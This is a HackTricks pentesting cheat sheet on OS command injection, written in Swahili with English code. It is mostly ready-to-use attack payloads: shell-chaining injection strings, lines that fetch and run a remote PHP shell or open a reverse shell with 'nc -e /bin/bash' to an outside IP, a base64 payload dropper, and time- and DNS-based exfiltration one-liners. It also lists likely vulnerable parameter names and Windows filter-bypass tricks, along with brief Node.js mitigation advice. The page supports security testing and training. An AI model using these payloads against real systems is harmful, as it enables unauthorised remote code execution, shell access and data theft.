hacktricks/src/pentesting-web/command-injection.md

# Command Injection

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## Command Injection ni nini?

A **command injection** inaruhusu mshambulizi kutekeleza amri zozote za mfumo wa uendeshaji kwenye server inayohifadhi programu. Kwa hivyo, programu pamoja na data zake zote zinaweza kuathirika kabisa. Kutekelezwa kwa amri hizi kwa kawaida humruhusu mshambulizi kupata upatikanaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.

### Muktadha

Kutegemea **ambapo pembejeo yako inaingizwa**, unaweza kuhitaji **kumaliza muktadha ulioko ndani ya nukuu** (kwa kutumia `"` au `'`) kabla ya kuingiza amri.

## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Vikwazo** Bypasses

Ikiwa unajaribu kutekeleza **arbitrary commands inside a linux machine** utavutiwa kusoma kuhusu haya **Bypasses:**


{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}

### **Mifano**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Vigezo

Hapa ni vigezo 25 vya juu ambavyo vinaweza kuwa hatarini kwa code injection na udhaifu wa RCE zinazofanana (kutoka [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### Time based data exfiltration

Kutoa data: herufi kwa herufi
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration

Inategemea zana kutoka `https://github.com/HoLyVieR/dnsbin` pia iliyohifadhiwa kwenye dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Zana mtandaoni za kuangalia DNS based data exfiltration:

- dnsbin.zhack.ca
- pingb.in

### Filtering bypass

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux


{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}

### Node.js `child_process.exec` vs `execFile`

Unapofanya ukaguzi wa back-ends za JavaScript/TypeScript, mara nyingi utakutana na Node.js `child_process` API.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
```
`exec()` inazindua **shell** (`/bin/sh -c`), kwa hivyo karakteri yoyote ambayo ina maana maalum kwa shell (back-ticks, `;`, `&&`, `|`, `$()`, …) itasababisha **command injection** wakati ingizo la mtumiaji linapounganishwa kwenye string.

**Kupunguza hatari:** tumia `execFile()` (au `spawn()` bila chaguo la `shell`) na utoe **kila argument kama kipengele tofauti cha array** ili shell isihusishwe:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
```
Kesi halisi: *Synology Photos* ≤ 1.7.0-0794 ilikuwa na udhaifu kupitia tukio la WebSocket lisilothibitishwa ambalo liliweka data iliyodhibitiwa na mshambuliaji kwenye `id_user`, ambayo baadaye iliingizwa katika wito la `exec()`, ikifanikisha RCE (Pwn2Own Ireland 2024).

## Orodha ya Ugunduzi ya Brute-Force


{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}

## Marejeo

- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)

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